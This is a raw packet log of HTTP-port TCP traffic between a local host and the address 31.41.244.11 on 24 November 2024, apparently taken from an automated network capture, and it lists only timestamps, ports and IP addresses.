Nov 24, 2024 12:24:18.612174988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.612221956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.612903118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.612957001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.613029003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.613066912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.613758087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.613801003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.613872051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.613910913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.614577055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.614620924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.614670038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.614711046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.615411043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.615454912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.615516901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.615557909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.616254091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.616297960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.616354942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.616398096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.617093086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.617136002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.617224932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.617269039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.617949963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.617996931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.618046045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.618088961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.618802071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.618844986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.619035006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.619074106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.619596004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.619638920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.619756937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.619798899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.620455027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.620511055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.620565891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.620608091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.621288061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.621331930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.621412039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.621454000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.622097015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.622140884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.622216940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.622258902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.622965097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.623006105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.623060942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.623105049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.623833895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.623878956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.623934031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.623977900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.624614000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.624658108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.624730110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.624773026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.625432014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.625478983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.625591993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.625634909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.626308918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.626351118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.626389980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.626432896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.627131939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.627177000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.627321005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.627362967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.628004074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.628047943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.628118992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.628163099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.628799915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.628844023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.628917933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.628962994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.629646063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.629688025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.629760981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.629806042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.630518913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.630584955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.630616903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.630664110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.631352901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.631396055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.631555080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.631597042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.632184029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.632229090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.632337093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.632399082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.632981062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.633025885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.633066893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.633109093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.633766890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.633814096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.791285992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.791310072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.791354895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.791364908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.791733027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.791784048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.791820049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.791862011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.792350054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.792361021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.792397976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.793133974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.793176889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.793417931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.793463945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.793953896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.794006109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.794060946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.794105053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.794826984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.794872999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.794946909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.794992924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.795619011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.795664072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.795746088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.795788050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.796463013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.796508074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.796803951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.796850920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.797319889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.797367096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.797435045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.797477007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.798160076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.798204899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.798255920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.798300982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.798954010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.799000978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.799067020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.799103975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.799825907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.799874067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.799987078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.800029039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.800651073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.800695896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.800831079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.800874949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.801500082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.801546097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.801652908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.801702023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.802320004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.802385092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.802455902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.802504063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.803215981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.803263903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.803307056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.803380966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.804023027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.804074049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.804094076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.804135084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.804828882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.804874897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.804980993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.805027962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.805685043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.805737972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.806066036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.806113005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.806566954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.806615114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.806633949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.806675911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.807346106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.807393074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.807447910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.807487965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.808226109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.808271885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.808362007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.808465958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.809012890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.809062004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.809123993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.809185028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.809871912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.809919119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.810070038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.810112953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.810719013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.810760021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.810909033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.810954094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.811534882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.811582088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.811670065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.811712027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.812369108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.812417984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.812484026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.812526941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.813196898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.813239098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.813251972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.813288927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.814188004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.814233065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.814351082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.814393997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.814929008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.814971924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.815046072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.815090895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.815809965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.815856934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.816143990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.816194057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.816637039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.816684008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.816760063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.816800117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.817487001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.817544937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.817559958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.817595959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.818207979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.818262100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.818274975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.818317890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.819045067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.819093943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.819147110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.819202900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.819894075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.819940090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.820014954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.820056915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.820734978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.820775032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.820842981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.820882082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.821592093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.821644068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.821715117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.821765900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.822395086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.822449923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.822525024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.822566986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.823308945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.823328018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.823355913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.823369980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.824058056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.824105024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.824125051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.824162960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.824914932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.824963093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.825036049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.825078011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.825746059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.825788021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.825949907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.825992107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.826575041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.826620102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.826677084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.826716900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.827533960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.827575922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.827583075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.827620029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.828278065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.828329086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.828598022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.828643084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.829085112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.829123974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.829189062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.829250097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.829965115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.830013037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.830049992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.830085039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.830795050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.830840111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.830920935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.830961943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.831621885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.831671953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.831746101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.831790924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.832458019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.832504988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.832578897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.832622051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.833268881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.833312988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.833384991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.833425999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.834119081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.834160089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.834198952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.834235907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.834916115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.834964991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.992826939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.992866993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.992902994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.992918968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.993103027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.993150949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.993191957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.993242025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.993803024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.993828058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.993849993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.993858099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.994601011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.994656086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.994709969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.994752884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.995462894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.995507956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.995632887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.995676994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.996427059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.996471882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.996556044 CET	80	49765	31.41.244.11	192.168.2.4
